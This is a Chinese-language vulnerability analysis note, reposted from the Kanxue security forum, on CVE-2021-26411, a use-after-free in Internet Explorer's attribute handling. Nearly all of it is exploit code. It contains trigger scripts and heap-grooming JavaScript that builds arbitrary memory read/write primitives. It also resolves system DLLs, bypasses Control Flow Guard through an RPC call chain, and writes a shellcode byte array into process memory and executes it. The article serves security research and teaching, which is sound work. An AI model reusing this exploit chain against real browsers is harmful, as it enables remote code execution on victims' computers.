其他
CVE-2021-26411漏洞分析笔记
本文为看雪论坛优秀文章
看雪论坛作者ID:AshCrimson
一
漏洞信息
二
漏洞分析
<script>
var element = document.createElement('xxx');
var attr1 = document.createAttribute('yyy');
var attr2 = document.createAttribute('zzz');
var obj = {};
obj.valueOf = function() {
element.clearAttributes();
return 0x1337;
};
attr1.nodeValue = obj;
attr2.nodeValue = 123;
element.setAttributeNode(attr1);
element.setAttributeNode(attr2);
element.removeAttributeNode(attr1);
</script>
element.removeAttributeNode(attr1);
<script>
var element = document.createElement('a');
var attr1 = document.createAttribute('b');
var attr2 = document.createAttribute("c");
var hd2;
var obj = {};
obj.valueOf = function () {
element.clearAttributes();
return 0x1337;
};
attr1.nodeValue = obj;
element.setAttributeNode(attr1);
element.setAttribute("d", Array(0x10000).join('A'));
element.removeAttributeNode(attr1);
</script>
BSTR内存空间被释放:
三
漏洞利用
att.nodeValue = {
valueOf: function () {
hd1.nodeValue = (new alloc1()).nodeValue
ele.clearAttributes()
//重引用被释放的内存
hd2 = hd1.cloneNode()
//绕过异常
ele.setAttribute('attribute', 1337)
}
}
function alloc1() {
var view = new DataView(abf)
var str = ''
for (var i = 4; i < abf.byteLength - 2; i += 2)
str += '%u' + pad0(view.getUint16(i, true).toString(16))
var result = document.createAttribute('alloc')
result.nodeValue = unescape(str)
return result
}
function alloc2() {
// 创建字典对象
var dic1 = new ActiveXObject('Scripting.Dictionary')
var dic2 = new ActiveXObject('Scripting.Dictionary')
dic2.add(0, 1)
dic1.add(0, dic2.items())
dic1.add(1, fake)
dic1.add(2, arr)
for (i = 3; i < 0x20010 / 0x10; ++i)
dic1.add(i, 0x12341234)
return dic1.items()
}
var alloc = alloc2()
// 触发valueof函数回调
ele.removeAttributeNode(att)
//再次重引用removeAttributeNode后被释放的内存
hd0.nodeValue = alloc
//通过hd2.nodevalue读取重用后hd0.nodevalue内存
var leak = new Uint32Array(dump(hd2.nodeValue))
//fake
var pAbf = leak[6]
//arr[]地址
var pArr = leak[10];
1:023:x86> dd 0c0b8890
0c0b8890 00000000 00000000 098202b8 00000000 dict2.items();
0c0b88a0 00000009 00000000 09dcdec4 00000000 fakeBuf ArrayBuffer(0x100)
0c0b88b0 00000009 00000000 09dcdf04 00000000 arr [{}]
0c0b88c0 00000003 00000000 12341234 00000000
0c0b88d0 00000003 00000000 12341234 00000000
0c0b88e0 00000003 00000000 12341234 00000000
0c0b88f0 00000003 00000000 12341234 00000000
0c0b8900 00000003 00000000 12341234 00000000
function flush() {
hd1.nodeValue = (new alloc1()).nodeValue
hd2.nodeValue = 0
hd2 = hd1.cloneNode()
}
var VT_I4 = 0x3;
var VT_DISPATCH = 0x9;
var VT_BYREF = 0x4000;
var bufArr = new Array(0x10);
var fakeArr = new Uint32Array(fake);
for (var i = 0; i < 0x10; i++) {
setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4));
}
flush();
ref = new VBArray(hd0.nodeValue);
for (var i = 0; i < 0x10; i++) {
bufArr[i] = ref.getItem(i + 1);
}
ref = null;
setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]));
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04));
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c));
flush();
Struct Int32Array allocated at Custom Heap
{
void* pvftable;
DOWRD var_2;
DOWRD var_3;
DOWRD var_4;
DOWRD var_5;
DOWRD var_6;
DOWRD size; //条目的个数,字节数等于这项的值*4
void* pTypeArrayData; //Arraybuffer Data
void* pArrayBuffer; //Arraybuffer Object
DWORD var_10;
DWORD var_11;
DWORD var_12;
}
Struct ArrayBuffer allocated at Custom Heap
{
void* pvftable;
DOWRD var_2;
DOWRD var_3;
DOWRD var_4;
void* pTypeArrayData; //Arraybuffer Data
DWORD size; //array bytes
DWORD var_10;
DWORD var_11;
}
var fake = new ArrayBuffer(0x100);
var fakeArr = new Uint32Array(fake);
ref = new VBArray(hd0.nodeValue);
var vt = ref.getItem(1);
var gc = ref.getItem(2);
var bs = ref.getItem(3);
ref = null;
for (var i = 0; i < 16; ++i) {
fakeArr[i] = bufArr[i];
}
fakeArr[4] = bs + 0x40;
fakeArr[16] = vt;
fakeArr[17] = gc;
fakeArr[24] = 0xffffffff;
setData(1, new Data(VT_DISPATCH, bs));
flush();
function addrOf(obj) {
arr[0] = obj
return read(pArr, 32)
}
write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)
var map = new Map()
var jscript9 = getBase(read(addrOf(map), 32))
var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
var ntdll = getDllBase(msvcrt, 'ntdll.dll')
var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)
var patt = read(addrOf(xyz) + 0x18, 32)
cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
function aos() {
var baseObj = createBase()
var addr = baseObj.addr + baseObj.size
var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')
prepareCall(addr, I_RpcTransServerNewConnection)
return read(read(call(addr) - 0xf8, 32), 32)
}
function initRpc() {
var data = [50, 72, 0, 0, 0, 0, 0, 0, 52, 0, 192, 0, 16, 0, 68, 13, 10, 1, 0, 0, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 9, 0, 72, 0, 4, 0, 9, 0, 72, 0, 8, 0, 9, 0, 72, 0, 12, 0, 9, 0, 72, 0, 16, 0, 9, 0, 72, 0, 20, 0, 9, 0, 72, 0, 24, 0, 9, 0, 72, 0, 28, 0, 9, 0, 72, 0, 32, 0, 9, 0, 72, 0, 36, 0, 9, 0, 72, 0, 40, 0, 9, 0, 72, 0, 44, 0, 9, 0, 112, 0, 48, 0, 9, 0, 0]
var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')
var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')
var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')
var RPCMessageObject = createArrayBuffer(cbase.size())
var buffer = createArrayBuffer(0x100)
var buffer2 = createArrayBuffer(0x200)
var AttributeVtable = read(patt, 32)
var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())
var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())
var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())
var rpcProcStringBuffer = createArrayBuffer(data.length)
writeData(rpcProcStringBuffer, data)
var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())
var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())
var NdrServerCall2Buffer = createArrayBuffer(4)
write(NdrServerCall2Buffer, NdrServerCall2, 32)
write(MSHTMLSymbolBuffer, osf_vft, 32)
write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
write(MSHTMLSymbolBuffer + 8, 0x40, 32)
cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)
write(RPCMessageObject + 76, 1, 32)
syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)
_MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)
_MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))
_MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)
_MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)
RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)
RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)
PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)
PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)
PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())
PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)
PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)
PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)
_RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
_RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)
_RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)
_RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)
_RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)
_RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)
_RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)
return RPCMessageObject
}
function killCfg(addr) {
var cfgobj = new CFGObject(addr)
if (!cfgobj.getCFGValue()) return
var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
var tmpBuffer = createArrayBuffer(4)
// 修改RPCRT4!__guard_check_icall_fptr的属性为PAGE_EXECUTE_READWRITE
call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
// 替换rpcrt4!__guard_check_icall_fptr保存的指针,修改ntdll!LdrpValidateUserCallTarget为改为ntdll!KiFastSystemCallRet
// 关闭rpcrt4的CFG检查
write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
// 恢复PRCRT4!__gurad_check_icall_fptr内存属性
call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
map.delete(tmpBuffer)
}
var shellcode = new Uint8Array([ 0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63, 0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,
0x8B, 0xF4, 0x8D, 0x7E, 0xF4, 0x33, 0xDB, 0xB7, 0x04, 0x2B, 0xE3, 0x66, 0xBB, 0x33, 0x32, 0x53,
0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x33, 0xD2, 0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B,
0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xAD, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75,
0x05, 0x95, 0xFF, 0x57, 0xF8, 0x95, 0x60, 0x8B, 0x45, 0x3C, 0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD,
0x8B, 0x59, 0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB, 0x03, 0xF5, 0x99, 0x0F, 0xBE,
0x06, 0x3A, 0xC4, 0x74, 0x08, 0xC1, 0xCA, 0x07, 0x03, 0xD0, 0x46, 0xEB, 0xF1, 0x3B, 0x54, 0x24,
0x1C, 0x75, 0xE4, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03,
0xDD, 0x03, 0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0xA9,
0x33, 0xDB, 0x53, 0x68, 0x65, 0x64, 0x7E, 0x7E, 0x68, 0x68, 0x61, 0x63, 0x6B, 0x8B, 0xC4, 0x53,
0x50, 0x50, 0x53, 0xFF, 0x57, 0xFC, 0x53, 0xFF, 0x57, 0xF8, 0x0C, 0x0D, 0xCC, 0x04, 0x00, 0x0B,
0x0A, 0x0A, 0xCA, 0x02, 0xAD, 0x0B, 0x0A, 0x0A, 0x0E, 0x0D, 0x00, 0x01, 0x50, 0x00, 0x0A, 0x0B,
0xFF, 0x0E, 0x0C, 0xEA, 0xEA, 0x0A, 0x0B, 0xFF, 0x0E, 0x04, 0xCA, 0x02, 0x0A, 0xEC, 0x0E, 0x0C,
0xDE, 0x0E, 0x04, 0x0B, 0xFF, 0x0E, 0xED, 0x0A, 0x0A, 0x0E, 0x0C, 0xDE, 0xCA, 0x02, 0x0A, 0xEC,
0x0E, 0x0C, 0xDE, 0x0E, 0xEA, 0x0D, 0x0B, 0xFF, 0x0E, 0x32, 0x0B, 0xFF, 0x0E, 0x0A, 0x0E, 0xCA,
0x02 ])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode) // mov eax, 0x1337 ; ret
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
参考链接:
看雪ID:AshCrimson
https://bbs.pediy.com/user-home-893960.htm
# 往期推荐
1.Windows本地提权漏洞CVE-2014-1767分析及EXP编写指导
3.Microsoft Windows提权漏洞CVE-2013-3660 x86、x64双平台分析
6.什么是runC?
球分享
球点赞
球在看
点击“阅读原文”,了解更多!